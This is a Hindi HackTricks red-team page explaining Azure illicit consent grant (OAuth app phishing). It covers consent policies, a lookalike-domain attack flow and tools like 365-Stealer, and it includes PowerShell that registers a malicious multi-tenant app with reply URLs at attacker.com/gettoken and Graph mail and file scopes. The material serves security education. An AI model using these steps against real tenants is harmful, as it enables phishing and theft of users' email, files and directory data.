Az - Illicit Consent Grant

htARTE (HackTricks AWS Red Team Expert) के साथ जीरो से हीरो तक AWS हैकिंग सीखें

HackTricks का समर्थन करने के अन्य तरीके:

अगर आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान देखें!
आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
हमारे विशेष NFTs संग्रह The PEASS Family खोजें
जुड़ें 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह से या हमें ट्विटर 🐦 @hacktricks_live पर फॉलो करें।
हैकिंग ट्रिक्स साझा करें HackTricks और HackTricks Cloud github repos में PRs सबमिट करके।

OAuth App फिशिंग

Azure Applications यूजर डेटा तक पहुंचने की अनुमति के लिए अनुमतियाँ मांगते हैं (मूल जानकारी, लेकिन दस्तावेज़ों तक पहुंचने, ईमेल भेजने...). अगर स्वीकृति मिलती है, एक सामान्य उपयोगकर्ता केवल "कम प्रभाव" अनुमतियों के लिए स्वीकृति दे सकता है। अन्य सभी मामलों में, प्रशासक स्वीकृति आवश्यक है। GA, ApplicationAdministrator, CloudApplication Administrator और अनुमतियों को देने की अनुमति शामिल करने वाली एक कस्टम भूमिका टेनेंट-व्यापी स्वीकृति प्रदान कर सकती है।

केवल वे अनुमतियाँ जो प्रशासक स्वीकृति की आवश्यकता नहीं है को कम प्रभाव के रूप में वर्गीकृत किया जाता है। ये अनुमतियाँ मूल साइन-इन के लिए आवश्यक होती हैं जैसे openid, profile, email, User.Read और offline_access। अगर संगठन सभी ऐप्स के लिए उपयोगकर्ता स्वीकृति की अनुमति देता है, तो किसी कर्मचारी को अपनी प्रोफ़ाइल से ऊपर दिए गए कोई ऐप्लिकेशन के लिए स्वीकृति देने की अनुमति दे सकता है।

इसलिए, एक हमलावर एक कुटिल ऐप तैयार कर सकता है और फिशिंग के साथ, उपयोगकर्ता को ऐप स्वीकार करने और उसके डेटा को चुरा लेने के लिए मजबूर कर सकता है।

2 प्रकार की गैरकानूनी सहमति प्रदान हमले

गैर प्रमाणीकृत: एक बाह्य खाते से User.Read और User.ReadBasic.All जैसी अनुमतियों के साथ एक ऐप्लिकेशन बनाएं, उदाहरण के लिए, एक उपयोगकर्ता को फिश करें, और आप निर्देशिका सूचना तक पहुंच सकते हैं।
यह फिश किए गए उपयोगकर्ता को बाह्य वातावरण से OAuth ऐप्स स्वीकार करने की क्षमता होनी चाहिए!
प्रमाणीकृत: पर्याप्त विशेषाधिकारों के साथ एक प्रिंसिपल को कंप्रमाइज़ करने के बाद, खाते के अंदर एक ऐप्लिकेशन बनाएं और कुछ विशेषाधिकारी उपयोगकर्ता को फिश करें जो विशेषाधिकारी OAuth अनुमतियाँ स्वीकार कर सकता है।
इस मामले में आप पहले से ही निर्देशिका की जानकारी तक पहुंच सकते हैं, इसलिए अनुमति User.ReadBasic.All अब और रोचक नहीं है।
आप संभावित रूप से उन अनुमतियों में रुचि रखेंगे जिन्हें प्रदान करने के लिए एडमिन की आवश्यकता है, क्योंकि कच्चे उपयोगकर्ता किसी भी अनुमति को OAuth ऐप्स को दे नहीं सकते, इसलिए आपको केवल उन उपयोगकर्ताओं को फिश करने की आवश्यकता है (जिनमें यह विशेषाधिकार/अनुमतियाँ दी जाती है, इस पर अधिक जानकारी बाद में)

जांचें कि उपयोगकर्ताओं को सहमति देने की अनुमति है

निम्नलिखित PowerShell कमांड का उपयोग किया जाता है ताकि आज़्यूर एक्टिव डायरेक्टरी (आज़्यूर एडी) में उपयोगकर्ताओं के लिए सहमति कॉन्फ़िगरेशन की जांच की जा सके:

PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole

उपयोगकर्ता सहमति अक्षम करें: यह सेटिंग उपयोगकर्ताओं को अनुप्रयोगों को अनुमति देने से रोकती है। किसी भी अनुप्रयोग के लिए किसी भी उपयोगकर्ता सहमति अनुमति नहीं है।
उपयोगकर्ता सत्यापित प्रकाशकों या आपके संगठन से एप्लिकेशन को स्वीकृति देने की अनुमति है, लेकिन केवल आपके द्वारा चयनित अनुमतियों के लिए: यह सेटिंग सभी उपयोगकर्ताओं को केवल उन अनुप्रयोगों के लिए सहमति देने की अनुमति देती है जो एक सत्यापित प्रकाशक द्वारा प्रकाशित होते हैं और आपके खुद के टेनेंट में पंजीकृत एप्लिकेशन। यह विशेष अनुमतियों के लिए केवल सहमति देने की अनुमति देने के द्वारा नियंत्रण की एक परत जोड़ता है।
उपयोगकर्ता सभी एप्लिकेशनों को स्वीकृति देने की अनुमति है: यह सेटिंग अधिक अनुमतिपूर्ण है और सभी उपयोगकर्ताओं को किसी भी अनुप्रयोग के लिए किसी भी अनुमतियों की स्वीकृति देने की अनुमति देती है, जब तक वे प्रशासनिक सहमति की आवश्यकता नहीं है।
कस्टम एप्लिकेशन सहमति नीति: यह सेटिंग इसका संकेत देती है कि एक कस्टम नीति लागू है, जो विशेष संगठनिक आवश्यकताओं के लिए अनुकूलित किया जा सकता है और एप्लिकेशन प्रकाशक, एप्लिकेशन द्वारा अनुरोधित अनुमतियों और अन्य कारकों पर प्रतिबंधों का संयोजन शामिल हो सकता है।

अवैध सहमति प्रदान हमले को समझना

एक अवैध सहमति प्रदान हमले में, हमलावर अंत उपयोगकर्ताओं को धोखा देकर एक दुरुपयोगी एप्लिकेशन को अनुमतियाँ प्रदान करने में ले जाते हैं जो एज़्यूर में पंजीकृत है। इसे एप्लिकेशन को विश्वसनीय दिखाने के द्वारा किया जाता है, जिससे पीड़ितों को अनजाने में "स्वीकार" बटन पर क्लिक करने पर ले जाया जाता है। इस परिणामस्वरूप, एज़्यूर एडी एक टोकन जारी करता है हमलावर की साइट को, जिससे उन्हें पीड़ित के डेटा तक पहुंचने और उसे संशोधित करने की अनुमति मिलती है, जैसे कि ईमेल पढ़ना या भेजना और फ़ाइलों तक पहुंचना, संगठनिक खाता की आवश्यकता के बिना।

हमले की प्रवाह अवलोकन

हमला कई कदमों को लक्ष्य रूप से लेता है। यहाँ यह कैसे विकसित हो सकता है:

डोमेन पंजीकरण और एप्लिकेशन होस्टिंग: हमलावर एक विश्वसनीय साइट की तरह दिखने वाला एक डोमेन पंजीकृत करता है, उदाहरण के लिए, "सुरक्षितडोमेनलॉगिन.कॉम"। इस डोमेन के तहत, एक सबडोमेन बनाया जाता है (जैसे, "कंपनीकानाम.सुरक्षितडोमेनलॉगिन.कॉम") जिसमें एक एप्लिकेशन होस्ट किया जाता है जो अधिकृतिकोड को कैप्चर करने और एक्सेस टोकन का अनुरोध करने के लिए डिज़ाइन किया गया है।
एज़्यूर एडी में एप्लिकेशन पंजीकरण: फिर हमलावर अपने एज़्यूर एडी टेनेंट में एक मल्टी-टेनेंट एप्लिकेशन पंजीकृत करता है, जिसे लक्षित कंपनी के नाम से विश्वसनीय दिखने के लिए नामित किया गया है। वे एप्लिकेशन की पुनर्निर्देशित URL को दुरुपयोगी एप्लिकेशन को होस्ट करने वाले सबडोमेन पर पॉइंट करने के लिए कॉन्फ़िगर करते हैं।
अनुमतियों की सेटिंग: हमलावर एप्लिकेशन को विभिन्न एपीआई अनुमतियों के साथ सेटअप करता है (जैसे, मेल.पढ़ें, नोट्स.पढ़ें.सभी, फ़ाइलें.पढ़ेंलिखें.सभी, उपयोगकर्ता.पढ़ेंबेसिक.सभी, उपयोगकर्ता.पढ़ें). इन अनुमतियों को एक बार उपयोगकर्ता द्वारा स्वीकृति प्राप्त की जाने पर, हमलावर को उपयोगकर्ता के पक्ष में संवेदनशील जानकारी निकालने की अनुमति होती है।
दुरुपयोगी लिंक वितरण: हमलावर दुरुपयोगी एप्लिकेशन के क्लाइंट आईडी को समेटने वाला एक लिंक तैयार करता है और इसे लक्षित उपयोगकर्ताओं के साथ साझा करता है, उन्हें सहमति देने में धोखा देता है।

हमले के लिए उपकरणों का उपयोग

हमला 365-Stealer जैसे उपकरणों का उपयोग करके सुविधाजनक बनाया जा सकता है।

हमले से पहले तैयारी:

यदि हमलावर को पीड़ित संगठन में किसी उपयोगकर्ता के स्तर पर कुछ पहुंच है, तो वे जांच सकते हैं कि संगठन की नीति उपयोगकर्ता को एप्लिकेशन स्वीकार करने की अनुमति देती है या नहीं:

Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("generic@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.

इस हमले को कार्रवाई करने के लिए, हमलावर को अपने एज़्यूर टेनेंट में एक नया ऐप बनाने की आवश्यकता होगी (App registrations में), जिसे अनुमतियों के साथ कॉन्फ़िगर किया गया है:

User.ReadBasic.All Microsoft Graph में Delegated permissions में है। (एप्लिकेशन अनुमतियाँ हमेशा अतिरिक्त मंजूरी की आवश्यकता होगी)।

User.ReadBasic.All वह अनुमति है जो आपको संगठन में सभी उपयोगकर्ताओं की जानकारी पढ़ने की अनुमति देगी अगर मंजूरी दी जाती है।
ध्यान रखें कि केवल GA, ApplicationAdministrator, CloudApplication Administrator और एप्लिकेशनों को अनुमतियाँ प्रदान करने की अनुमति शामिल किसी भी विशेष भूमिका वाले उपयोगकर्ता टेनेंट-व्यापी सहमति प्रदान कर सकते हैं। इसलिए, आपको चाहिए कि आप एक उपयोगकर्ता को फिशिंग करें जिसमें उनमें से कोई भी भूमिका हो अगर आप चाहते हैं कि वह एक एप्लिकेशन को मंजूरी देने वाला ऐप मंजूर करें।

आप यह भी क्लाइ के माध्यम से एक ऐप बना सकते हैं:

# Generate Application
New-AzureADApplication -DisplayName "MyApp"  -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true

# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName"  -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}  # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"

$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)

$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}

Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid

इसे कैसे कॉन्फ़िगर करने के लिए https://www.alteredsecurity.com/post/introduction-to-365-stealer देखें।

ध्यान दें कि प्राप्त एक्सेस टोकन ग्राफ़ एंडपॉइंट के लिए होगा जिसमें स्कोप्स होंगे: User.Read और User.ReadBasic.All (अनुरोधित अनुमतियाँ)। आप अन्य क्रियाएँ नहीं कर पाएंगे (लेकिन ये पर्याप्त हैं संगठन में सभी उपयोगकर्ताओं के बारे में जानकारी डाउनलोड करने के लिए।)

O365-Attack-Toolkit

आप इस हमला करने के लिए इस उपकरण का भी उपयोग कर सकते हैं।

पोस्ट-एक्सप्लोइटेशन

एक बार जब आप उपयोगकर्ता का एक्सेस प्राप्त कर लेते हैं, तो आप चीजें कर सकते हैं जैसे कि संवेदनशील दस्तावेज़ चुरा लेना और यहाँ तक कि वापस डॉक्यूमेंट फ़ाइलें अपलोड करना भी।

संदर्भ

htARTE (HackTricks AWS Red Team Expert) के साथ जीरो से हीरो तक AWS हैकिंग सीखें

HackTricks का समर्थन करने के अन्य तरीके:

यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!
आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
हमारे विशेष NFTs कलेक्शन, The PEASS Family खोजें
शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @hacktricks_live** पर फॉलो** करें।
हैकिंग ट्रिक्स साझा करें HackTricks और HackTricks Cloud github repos में PRs सबमिट करके।

PreviousAz - Unauthenticated Enum & Initial Entry NextAz - Device Code Authentication Phishing

Last updated 2 months ago